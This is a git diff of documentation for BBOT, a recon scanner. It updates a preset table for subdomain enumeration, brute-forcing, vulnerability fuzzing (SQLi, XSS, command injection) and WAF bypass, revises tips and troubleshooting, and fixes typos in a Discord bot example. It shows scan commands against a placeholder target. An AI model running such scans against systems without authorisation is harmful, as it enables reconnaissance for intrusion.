-|----------------------|------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
-| baddns-intense       |            | Run all baddns modules and submodules.                                                                                                                                                                                                                                                                                              | 4           | baddns, baddns_direct, baddns_zone, httpx                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
-| cloud-enum           |            | Enumerate cloud resources such as storage buckets, etc.                                                                                                                                                                                                                                                                             | 54          | anubisdb, asn, azure_tenant, baddns, baddns_direct, baddns_zone, bevigil, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, crt, crt_db, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, fullhunt, github_codesearch, github_org, hackertarget, httpx, hunterio, ipneighbor, leakix, myssl, oauth, otx, postman, postman_download, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, social, sslcert, subdomaincenter, subdomainradar, trickest, urlscan, virustotal, wayback                                                                                                                                                                                                                                                                                                                                                                                                                                 |
-| code-enum            |            | Enumerate Git repositories, Docker images, etc.                                                                                                                                                                                                                                                                                     | 20          | apkpure, code_repository, docker_pull, dockerhub, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, httpx, jadx, postman, postman_download, social, trufflehog                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |
-| dirbust-heavy        | web        | Recursive web directory brute-force (aggressive)                                                                                                                                                                                                                                                                                    | 5           | ffuf, ffuf_shortnames, httpx, iis_shortnames, wayback                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
-| dirbust-light        | web        | Basic web directory brute-force (surface-level directories only)                                                                                                                                                                                                                                                                    | 4           | ffuf, ffuf_shortnames, httpx, iis_shortnames                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| dotnet-audit         | web        | Comprehensive scan for all IIS/.NET specific modules and module settings                                                                                                                                                                                                                                                            | 9           | ajaxpro, aspnet_bin_exposure, badsecrets, dotnetnuke, ffuf, ffuf_shortnames, httpx, iis_shortnames, telerik                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
-| email-enum           |            | Enumerate email addresses from APIs, web crawling, etc.                                                                                                                                                                                                                                                                             | 8           | dehashed, dnscaa, dnstlsrpt, emailformat, hunterio, pgp, skymem, sslcert                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |
-| fast                 |            | Scan only the provided targets as fast as possible - no extra discovery                                                                                                                                                                                                                                                             | 0           |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
-| iis-shortnames       | web        | Recursively enumerate IIS shortnames                                                                                                                                                                                                                                                                                                | 3           | ffuf_shortnames, httpx, iis_shortnames                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |
-| kitchen-sink         |            | Everything everywhere all at once                                                                                                                                                                                                                                                                                                   | 86          | anubisdb, apkpure, asn, azure_tenant, baddns, baddns_direct, baddns_zone, badsecrets, bevigil, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, code_repository, crt, crt_db, dehashed, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, ffuf, ffuf_shortnames, filedownload, fullhunt, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, gowitness, graphql_introspection, hackertarget, httpx, hunt, hunterio, iis_shortnames, ipneighbor, jadx, leakix, myssl, ntlm, oauth, otx, paramminer_cookies, paramminer_getparams, paramminer_headers, pgp, postman, postman_download, rapiddns, reflected_parameters, robots, securitytrails, securitytxt, shodan_dns, shodan_idb, skymem, social, sslcert, subdomaincenter, subdomainradar, trickest, trufflehog, urlscan, virustotal, wayback |
-| lightfuzz-heavy      | web        | Discover web parameters and lightly fuzz them for vulnerabilities, with more intense discovery techniques, including POST parameters, which are more invasive. Uses all lightfuzz modules, and adds paramminer modules for parameter discovery. Avoids running against confirmed WAFs.                                              | 10          | badsecrets, httpx, hunt, lightfuzz, paramminer_cookies, paramminer_getparams, paramminer_headers, portfilter, reflected_parameters, robots                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
-| lightfuzz-light      | web        | Discover web parameters and lightly fuzz them for vulnerabilities, with only the most common vulnerabilities and minimal extra modules. Safest to run alongside larger scans.                                                                                                                                                       | 3           | httpx, lightfuzz, portfilter                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| lightfuzz-medium     | web        | Discover web parameters and lightly fuzz them for vulnerabilities. Uses all lightfuzz modules, without some of the more intense discovery techniques. Does not send POST requests. This is the default lightfuzz preset; if you're not sure which one to use, this is a good starting point. Avoids running against confirmed WAFs. | 6           | badsecrets, httpx, hunt, lightfuzz, portfilter, reflected_parameters                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
-| lightfuzz-superheavy | web        | Discover web parameters and lightly fuzz them for vulnerabilities, with the most intense discovery techniques, including POST parameters, which are more invasive. Uses all lightfuzz modules, adds paramminer modules for parameter discovery, and tests each unique parameter-value instance individually.                        | 10          | badsecrets, httpx, hunt, lightfuzz, paramminer_cookies, paramminer_getparams, paramminer_headers, portfilter, reflected_parameters, robots                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
-| lightfuzz-xss        | web        | Discover web parameters and lightly fuzz them, limited to just GET-based xss vulnerabilities. Avoids running against confirmed WAFs. This is an example of a custom lightfuzz preset, selectively enabling a single lightfuzz module.                                                                                               | 5           | httpx, lightfuzz, paramminer_getparams, portfilter, reflected_parameters                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |
-| nuclei               | nuclei     | Run nuclei scans against all discovered targets                                                                                                                                                                                                                                                                                     | 3           | httpx, nuclei, portfilter                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
-| nuclei-budget        | nuclei     | Run nuclei scans against all discovered targets, using budget mode to look for low hanging fruit with greatly reduced number of requests                                                                                                                                                                                            | 3           | httpx, nuclei, portfilter                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
-| nuclei-intense       | nuclei     | Run nuclei scans against all discovered targets, allowing for spidering, against ALL URLs, and with additional discovery modules.                                                                                                                                                                                                   | 6           | httpx, nuclei, portfilter, robots, urlscan, wayback                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
-| nuclei-technology    | nuclei     | Run nuclei scans against all discovered targets, running templates which match discovered technologies                                                                                                                                                                                                                              | 3           | httpx, nuclei, portfilter                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
-| paramminer           | web        | Discover new web parameters via brute-force, and analyze them with additional modules                                                                                                                                                                                                                                               | 6           | httpx, hunt, paramminer_cookies, paramminer_getparams, paramminer_headers, reflected_parameters                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
-| spider               |            | Recursive web spider                                                                                                                                                                                                                                                                                                                | 1           | httpx                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
-| spider-intense       |            | Recursive web spider with more aggressive settings                                                                                                                                                                                                                                                                                  | 1           | httpx                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
-| subdomain-enum       |            | Enumerate subdomains via APIs, brute-force                                                                                                                                                                                                                                                                                          | 47          | anubisdb, asn, azure_tenant, baddns_direct, baddns_zone, bevigil, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, crt, crt_db, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, fullhunt, github_codesearch, github_org, hackertarget, httpx, hunterio, ipneighbor, leakix, myssl, oauth, otx, postman, postman_download, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, social, sslcert, subdomaincenter, subdomainradar, trickest, urlscan, virustotal, wayback                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
-| tech-detect          |            | Detect technologies via Nuclei, and FingerprintX                                                                                                                                                                                                                                                                                    | 3           | fingerprintx, httpx, nuclei                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
-| web-basic            |            | Quick web scan                                                                                                                                                                                                                                                                                                                      | 17          | baddns, badsecrets, bucket_amazon, bucket_firebase, bucket_google, bucket_microsoft, ffuf_shortnames, filedownload, git, graphql_introspection, httpx, iis_shortnames, ntlm, oauth, robots, securitytxt, sslcert                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
-| web-screenshots      |            | Take screenshots of webpages                                                                                                                                                                                                                                                                                                        | 3           | gowitness, httpx, social                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |
-| web-thorough         |            | Aggressive web scan                                                                                                                                                                                                                                                                                                                 | 31          | ajaxpro, aspnet_bin_exposure, baddns, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft, bypass403, dotnetnuke, ffuf_shortnames, filedownload, generic_ssrf, git, graphql_introspection, host_header, httpx, hunt, iis_shortnames, lightfuzz, ntlm, oauth, reflected_parameters, retirejs, robots, securitytxt, smuggler, sslcert, telerik, url_manipulation                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
+| Preset            | Category   | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | # Modules   | Modules                                                                                            |
+|-------------------|------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------|----------------------------------------------------------------------------------------------------|
+| baddns            |            | Check for subdomain takeovers and other DNS issues.                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 1           | baddns                                                                                             |
+| baddns-heavy      |            | Run all baddns modules and submodules.                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 3           | baddns, baddns_direct, baddns_zone                                                                 |
+| cloud-enum        |            | Enumerate cloud resources such as storage buckets, etc.                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 0           |                                                                                                    |
+| code-enum         |            | Enumerate Git repositories, Docker images, etc.                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 0           |                                                                                                    |
+| dirbust-heavy     | web        | Recursive web directory brute-force (aggressive)                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 3           | http, wayback, webbrute                                                                            |
+| dirbust-light     | web        | Basic web directory brute-force (surface-level directories only)                                                                                                                                                                                                                                                                                                                                                                                                                                        | 1           | webbrute                                                                                           |
+| dotnet-audit      | web        | Comprehensive scan for all IIS/.NET specific modules and module settings                                                                                                                                                                                                                                                                                                                                                                                                                                | 8           | ajaxpro, aspnet_bin_exposure, badsecrets, dotnetnuke, http, telerik, webbrute, webbrute_shortnames |
+| email-enum        |            | Enumerate email addresses from APIs, web crawling, etc.                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 0           |                                                                                                    |
+| fast              |            | Scan only the provided targets as fast as possible - no extra discovery                                                                                                                                                                                                                                                                                                                                                                                                                                 | 0           |                                                                                                    |
+| iis-shortnames    | web        | Recursively enumerate IIS shortnames                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 0           |                                                                                                    |
+| kitchen-sink      |            | Everything everywhere all at once                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 7           | baddns, baddns_direct, baddns_zone, http, hunt, reflected_parameters, webbrute                     |
+| lightfuzz         | web        | Default fuzzing: all 9 submodules (cmdi, crypto, path, serial, sqli, ssti, xss, esi, ssrf) plus companion modules (badsecrets, hunt, reflected_parameters). POST fuzzing disabled but try_post_as_get enabled, so POST params are retested as GET. Skips confirmed WAFs.                                                                                                                                                                                                                                | 6           | badsecrets, http, hunt, lightfuzz, portfilter, reflected_parameters                                |
+| lightfuzz-heavy   | web        | Aggressive fuzzing: everything in lightfuzz, plus paramminer brute-force parameter discovery (headers, GET params, cookies), POST request fuzzing enabled, try_get_as_post enabled (GET params retested as POST), and robots.txt parsing. Still skips confirmed WAFs.                                                                                                                                                                                                                                   | 8           | badsecrets, http, hunt, lightfuzz, portfilter, reflected_parameters, robots, wayback               |
+| lightfuzz-light   | web        | Minimal fuzzing: only path traversal, SQLi, and XSS submodules. No POST requests. No companion modules. Safest option for running alongside larger scans with minimal overhead.                                                                                                                                                                                                                                                                                                                         | 3           | http, lightfuzz, portfilter                                                                        |
+| lightfuzz-max     | web        | Maximum fuzzing: everything in lightfuzz-heavy, plus the heavy paramminer variant (1-3 letter brute-force on GET params, case mutation on case-sensitive backends, recycle_words on all paramminer modules), WAF targets are no longer skipped, each unique parameter-value pair is fuzzed individually (no collapsing), common headers like X-Forwarded-For are fuzzed even if not observed, and potential parameters are speculated from JSON/XML response bodies. Significantly increases scan time. | 8           | badsecrets, http, hunt, lightfuzz, portfilter, reflected_parameters, robots, wayback               |
+| lightfuzz-xss     | web        | XSS-only: enables only the xss submodule with paramminer_getparams and reflected_parameters. POST disabled, no query string collapsing. Example of a focused single-submodule preset.                                                                                                                                                                                                                                                                                                                   | 5           | http, lightfuzz, paramminer_getparams, portfilter, reflected_parameters                            |
+| nuclei            | nuclei     | Run nuclei scans against all discovered targets                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 3           | http, nuclei, portfilter                                                                           |
+| nuclei-budget     | nuclei     | Run nuclei scans against all discovered targets, using budget mode to look for low hanging fruit with greatly reduced number of requests                                                                                                                                                                                                                                                                                                                                                                | 3           | http, nuclei, portfilter                                                                           |
+| nuclei-heavy      | nuclei     | Run nuclei scans against all discovered targets, allowing for spidering, against ALL URLs, and with additional discovery modules.                                                                                                                                                                                                                                                                                                                                                                       | 6           | http, nuclei, portfilter, robots, urlscan, wayback                                                 |
+| nuclei-technology | nuclei     | Run nuclei scans against all discovered targets, running templates which match discovered technologies                                                                                                                                                                                                                                                                                                                                                                                                  | 3           | http, nuclei, portfilter                                                                           |
+| paramminer        | web        | Discover new web parameters via brute-force, and analyze them with additional modules                                                                                                                                                                                                                                                                                                                                                                                                                   | 3           | http, hunt, reflected_parameters                                                                   |
+| paramminer-heavy  | web        | Aggressive paramminer brute-force: enables 1-3 letter combination brute-force on GET parameters and case mutation (camelCase / Title-case variants) on case-sensitive backends. Significantly increases scan time.                                                                                                                                                                                                                                                                                      | 3           | http, hunt, reflected_parameters                                                                   |
+| spider            |            | Recursive web spider                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 1           | http                                                                                               |
+| spider-heavy      |            | Recursive web spider with more aggressive settings                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 1           | http                                                                                               |
+| subdomain-enum    |            | Enumerate subdomains via APIs, brute-force                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 0           |                                                                                                    |
+| tech-detect       |            | Detect technologies via Nuclei, and FingerprintX                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2           | fingerprintx, nuclei                                                                               |
+| virtualhost       | web        | Virtual host discovery: subdomain brute-force and mutations against the target host's Host header / SNI.                                                                                                                                                                                                                                                                                                                                                                                                | 1           | virtualhost                                                                                        |
+| virtualhost-heavy | web        | Aggressive virtual host discovery: everything in virtualhost, plus special-host probing, certificate SAN extraction, and wordcloud-driven candidate testing.                                                                                                                                                                                                                                                                                                                                            | 1           | virtualhost                                                                                        |
+| waf-bypass        |            | WAF bypass detection with subdomain enumeration                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2           | http, waf_bypass                                                                                   |
+| wayback           |            | Discover URLs and interesting archived files via the Wayback Machine                                                                                                                                                                                                                                                                                                                                                                                                                                    | 1           | wayback                                                                                            |
+| wayback-heavy     |            | Full Wayback Machine integration - URL discovery, parameter extraction, archived page retrieval, and interesting file detection                                                                                                                                                                                                                                                                                                                                                                         | 2           | badsecrets, wayback                                                                                |
+| web               |            | Quick web scan                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 0           |                                                                                                    |
+| web-heavy         |            | Aggressive web scan                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 0           |                                                                                                    |
+| web-screenshots   |            | Take screenshots of webpages                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 0           |                                                                                                    |
 <!-- END BBOT PRESETS -->
diff --git a/docs/scanning/tips_and_tricks.md b/docs/scanning/tips_and_tricks.md
index 52589c4aa7..ad6d6a05b3 100644
--- a/docs/scanning/tips_and_tricks.md
+++ b/docs/scanning/tips_and_tricks.md
@@ -13,7 +13,7 @@ Sometimes a certain module can get stuck or slow down the scan. If this happens
 You can also kill multiple modules at a time by specifying them in a space or comma-separated list:
 
 ```bash
-kill httpx sslcert
+kill http sslcert
 ```
 
 <img src="https://github.com/blacklanternsecurity/bbot/assets/20261699/61ad7123-8879-4c86-afdd-e96d7264b67c" style="max-width: 45em !important"/>
@@ -45,50 +45,62 @@ If you have a fast internet connection or are running BBOT from a cloud VM, you
 bbot -t evilcorp.com -f subdomain-enum -c dns.brute_threads=5000
 ```
 
-### Web Spider
+### Speed Up Scans with More DNS Resolvers
 
-The web spider is great for finding juicy data like subdomains, email addresses, and javascript secrets buried in webpages. However since it can lengthen the duration of a scan, it's disabled by default. To enable the web spider, you must increase the value of `web.spider_distance`.
+By far the most effective way to speed up a BBOT scan is to **add more resolvers to `/etc/resolv.conf`**. BBOT's DNS resolver (blastdns) spins up multiple threads per resolver (default: `5`, configurable via `dns.threads`), so more resolvers = more parallelism = faster scans.
 
-The web spider is controlled with three config values:
+For OSINT, it's critical that every resolver is **unfiltered**. Specialized resolvers that try to block ads, malicious domains, etc. will intentionally omit results. Below is a sample `/etc/resolv.conf` with 11 unfiltered public resolvers:
 
-- `web.spider_depth` (default: `1`: the maximum directory depth allowed. This is to prevent the spider from delving too deep into a website.
-- `web.spider_distance` (`0` == all spidering disabled, default: `0`): the maximum number of links that can be followed in a row. This is designed to limit the spider in cases where `web.spider_depth` fails (e.g. for an ecommerce website with thousands of base-level URLs).
-- `web.spider_links_per_page` (default: `25`): the maximum number of links per page that can be followed. This is designed to save you in cases where a single page has hundreds or thousands of links.
+```conf
+--8<-- "docs/data/resolv-sample.conf"
+```
 
-Here is a typical example:
+Copy this to `/etc/resolv.conf` (or append the `nameserver` lines to your existing config). With all 11 resolvers at the default 5 threads each, blastdns will run 55 workers in parallel instead of the typical 5-15 you get from a default OS config.
 
-```yaml title="spider.yml"
-config:
-  web:
-    spider_depth: 2
-    spider_distance: 2
-    spider_links_per_page: 25
-```
+!!! tip
+    If your system uses `systemd-resolved` or `resolvconf`, you may need to configure the upstream forwarders there instead of editing `/etc/resolv.conf` directly.
+
+### Web Spider
+
+The web spider is great for finding juicy data like subdomains, email addresses, and javascript secrets buried in webpages. However since it can lengthen the duration of a scan, it's disabled by default. To enable it, use one of the built-in spider presets:
+
+- **`spider`** -- follows links up to distance 2, depth 4, 25 links per page. Includes a blacklist to avoid following logout links.
+- **`spider-heavy`** -- more aggressive: distance 4, depth 6, 50 links per page.
 
 ```bash
-# run the web spider against www.evilcorp.com
-bbot -t www.evilcorp.com -m httpx -c spider.yml
+# spider www.evilcorp.com
+bbot -t www.evilcorp.com -p spider
+
+# pair with subdomain enumeration
+bbot -t evilcorp.com -p subdomain-enum spider
+
+# use the heavier spider
+bbot -t evilcorp.com -p subdomain-enum spider-heavy
 ```
 
-You can also pair the web spider with subdomain enumeration:
+If you need custom settings, the spider is controlled with three config values:
+
+- `web.spider_distance` (`0` == disabled, default: `0`): the maximum number of links that can be followed in a row.
+- `web.spider_depth` (default: `1`): the maximum directory depth allowed.
+- `web.spider_links_per_page` (default: `25`): the maximum number of links per page that can be followed.
 
 ```bash
-# spider every subdomain of evilcorp.com
-bbot -t evilcorp.com -f subdomain-enum -c spider.yml
+# custom spider settings on the command line
+bbot -t www.evilcorp.com -m http -c web.spider_distance=3 web.spider_depth=5
 ```
 
 ### Exclude CDNs from Port Scan
 
-Use `--exclude-cdns` to filter out unwanted open ports from CDNs and WAFs, e.g. Cloudflare. You can also customize the criteria by setting `modules.portfilter.cdn_tags`. By default, only open ports with `cdn-*` tags are filtered, but you can include all cloud providers by setting `cdn_tags` to `cdn,cloud`:
+Use `--exclude-cdn` to filter out unwanted open ports from CDNs and WAFs, e.g. Cloudflare. You can also customize the criteria by setting `modules.portfilter.cdn_tags`. By default, only open ports with `cdn-*` tags are filtered, but you can include all cloud providers by setting `cdn_tags` to `cdn,cloud`:
 
 ```bash
-bbot -t evilcorp.com --exclude-cdns -c modules.portfilter.cdn_tags=cdn,cloud
+bbot -t evilcorp.com --exclude-cdn -c modules.portfilter.cdn_tags=cdn,cloud
 ```
 
 Additionally, you can customize the allowed ports by setting `modules.portscan.allowed_cdn_ports`.
 
 ```bash
-bbot -t evilcorp.com --exclude-cdns -c modules.portfilter.allowed_cdn_ports=80,443,8443
+bbot -t evilcorp.com --exclude-cdn -c modules.portfilter.allowed_cdn_ports=80,443,8443
 ```
 
 Example preset:
@@ -108,24 +120,6 @@ config:
 bbot -t evilcorp.com -p skip_cdns.yml
 ```
 
-### Ingest BBOT Data Into SIEM (Elastic, Splunk)
-
-If your goal is to run a BBOT scan and later feed its data into a SIEM such as Elastic, be sure to enable this option when scanning:
-
-```bash
-bbot -t evilcorp.com -c modules.json.siem_friendly=true
-```
-
-This ensures the `.data` event attribute is always the same type (a dictionary), by nesting it like so:
-```json
-{
-  "type": "DNS_NAME",
-  "data": {
-    "DNS_NAME": "blacklanternsecurity.com"
-  }
-}
-```
-
 ### Custom HTTP Proxy
 
 Web pentesters may appreciate BBOT's ability to quickly populate Burp Suite site maps for all subdomains in a target. If your scan includes gowitness, this will capture the traffic as if you manually visited each website in your browser -- including auxiliary web resources and javascript API calls. To accomplish this, set the `web.http_proxy` config option like so:
@@ -137,7 +131,7 @@ bbot -t evilcorp.com -f subdomain-enum -m gowitness -c web.http_proxy=http://127
 
 ### Display `HTTP_RESPONSE` Events
 
-BBOT's `httpx` module emits `HTTP_RESPONSE` events, but by default they're hidden from output. These events contain the full raw HTTP body along with headers, etc. If you want to see them, you can modify `omit_event_types` in the config:
+BBOT's `http` module emits `HTTP_RESPONSE` events, but by default they're hidden from output. These events contain the full raw HTTP body along with headers, etc. If you want to see them, you can modify `omit_event_types` in the config:
 
 ```yaml title="~/.bbot/config/bbot.yml"
 omit_event_types:
@@ -152,35 +146,41 @@ By default, BBOT only shows in-scope events (with a few exceptions for things li
 bbot -f subdomain-enum -t evilcorp.com -c scope.report_distance=2
 ~~~
 
-### Speed Up Scans By Disabling DNS Resolution
+### Speed Up Scans with `--fast-mode`
+
+If you have a ready list of hosts/urls and just want to scan them as fast as possible without any extra discovery, use `--fast-mode`. It's a CLI alias for `--preset fast`, which disables non-essential speculation and DNS resolution:
 
-If you already have a list of discovered targets (e.g. URLs), you can speed up the scan by skipping BBOT's DNS resolution. You can do this by setting `dns.disable` to `true`:
+```yaml
+--8<-- "bbot/presets/fast.yml"
+```
+
+If you already have a list of discovered targets (e.g. URLs) and don't need DNS-based scope checks, you can go further by completely disabling DNS resolution:
 
 ~~~bash
 # completely disable DNS resolution
-bbot -m httpx gowitness wappalyzer -t urls.txt -c dns.disable=true
+bbot -m http gowitness -t urls.txt -c dns.disable=true
 ~~~
 
-Note that the above setting _completely_ disables DNS resolution, meaning even `A` and `AAAA` records are not resolved. This can cause problems if you're using an IP whitelist or blacklist. In this case, you'll want to use `dns.minimal` instead:
+Note that the above setting _completely_ disables DNS, meaning even `A` and `AAAA` records are not resolved. This can cause problems if you're using an IP-based target or blacklist. In this case, you'll want to use `dns.minimal` instead:
 
 ~~~bash
 # only resolve A and AAAA records
-bbot -m httpx gowitness wappalyzer -t urls.txt -c dns.minimal=true
+bbot -m http gowitness -t urls.txt -c dns.minimal=true
 ~~~
 
 ## FAQ
 
 ### What is `URL_UNVERIFIED`?
 
-`URL_UNVERIFIED` events are URLs that haven't yet been visited by `httpx`. Once `httpx` visits them, it reraises them as `URL`s, tagged with their resulting status code.
+`URL_UNVERIFIED` events are URLs that haven't yet been visited by `http`. Once `http` visits them, it reraises them as `URL`s, tagged with their resulting status code.
 
-For example, when [`excavate`](index.md/#types-of-modules) gets an `HTTP_RESPONSE` event, it extracts links from the raw HTTP response as `URL_UNVERIFIED`s and then passes them back to `httpx` to be visited.
+For example, when [`excavate`](index.md/#types-of-modules) gets an `HTTP_RESPONSE` event, it extracts links from the raw HTTP response as `URL_UNVERIFIED`s and then passes them back to `http` to be visited.
 
 By default, `URL_UNVERIFIED`s are hidden from output. If you want to see all of them including the out-of-scope ones, you can do it by changing `omit_event_types` and `scope.report_distance` in the config like so:
 
 ```bash
 # visit www.evilcorp.com and extract all the links
-bbot -t www.evilcorp.com -m httpx -c omit_event_types=[] scope.report_distance=2
+bbot -t www.evilcorp.com -m http -c omit_event_types=[] scope.report_distance=2
 ```
 
 ### Can I crank up the threads for a module to make it go faster?
@@ -192,3 +192,5 @@ bbot -t evilcorp.com -m sslcert -c modules.sslcert.module_threads=50
 ```
 
 `module_threads` is one of several [universal module options](./configuration.md) that can be applied to any module.
+
+[Next Up: Advanced Usage -->](./advanced.md){ .md-button .md-button--primary }
diff --git a/docs/troubleshooting.md b/docs/troubleshooting.md
index d3be020ad8..502fe0dc1b 100644
--- a/docs/troubleshooting.md
+++ b/docs/troubleshooting.md
@@ -1,22 +1,22 @@
 # Troubleshooting
 
-## Installation troubleshooting
+## Installation Troubleshooting
 - `Fatal error from pip prevented installation.`
 - `ERROR: No matching distribution found for bbot`
-- `bash: /home/user/.local/bin/bbot: /home/user/.local/pipx/venvs/bbot/bin/python: bad interpreter`
 
-If you get errors resembling any of the above, it's probably because your Python version is too old. To install a newer version (3.10+ is required), you will need to do something like this:
+If you get errors like the above, it's probably because your Python version is too old. BBOT requires Python 3.10+.
+
 ```bash
 # install a newer version of python
-sudo apt install python3.10 python3.10-venv
+sudo apt install python3.12 python3.12-venv
 # install pipx
-python3.10 -m pip install --user pipx
+python3.12 -m pip install --user pipx
 # add pipx to your path
-python3.10 -m pipx ensurepath
+python3.12 -m pipx ensurepath
 # reboot
 reboot
 # install bbot
-python3.10 -m pipx install bbot
+python3.12 -m pipx install bbot
 # run bbot
 bbot --help
 ```
@@ -24,8 +24,19 @@ bbot --help
 ## `ModuleNotFoundError`
 If you run into a `ModuleNotFoundError`, try running your `bbot` command again with `--force-deps`. This will repair your modules' Python dependencies.
 
+## Clear BBOT Cache
+BBOT caches module data, wordlists, and other resources under `~/.bbot`. After an upgrade, stale cache files can sometimes cause unexpected errors. If you're seeing strange behavior after updating, try clearing it:
+
+```bash
+# remove the BBOT cache directory
+rm -rf ~/.bbot
+
+# BBOT will recreate it on the next run
+bbot --help
+```
+
 ## Regenerate Config
-As a troubleshooting step it is sometimes useful to clear out your older configs and let BBOT generate new ones. This will ensure that new defaults are property restored, etc.
+As a troubleshooting step it is sometimes useful to clear out your older configs and let BBOT generate new ones. This will ensure that new defaults are properly restored, etc.
 ```bash
 # make a backup of the old configs
 mv ~/.config/bbot ~/.config/bbot.bak
diff --git a/examples/discord_bot.py b/examples/discord_bot.py
index f435b0301c..b953dc3307 100644
--- a/examples/discord_bot.py
+++ b/examples/discord_bot.py
@@ -2,7 +2,6 @@
 from discord.ext import commands
 
 from bbot.scanner import Scanner
-from bbot.modules.output.discord import Discord
 
 
 class BBOTDiscordBot(commands.Cog):
@@ -14,13 +13,13 @@ class BBOTDiscordBot(commands.Cog):
         2. Create a new application
         3. Create an invite link for the bot, visit the link to invite it to your server
             - Your Application --> OAuth2 --> URL Generator
-                - For Scopes, select "bot""
+                - For Scopes, select "bot"
                 - For Bot Permissions, select:
                     - Read Messages/View Channels
                     - Send Messages
         4. Turn on "Message Content Intent"
             - Your Application --> Bot --> Privileged Gateway Intents --> Message Content Intent
-        5. Copy your Discord Bot Token and put it at the top this file
+        5. Copy your Discord Bot Token and put it at the top of this file
             - Your Application --> Bot --> Reset Token
         6. Run this script
 
@@ -36,27 +35,38 @@ def __init__(self):
 
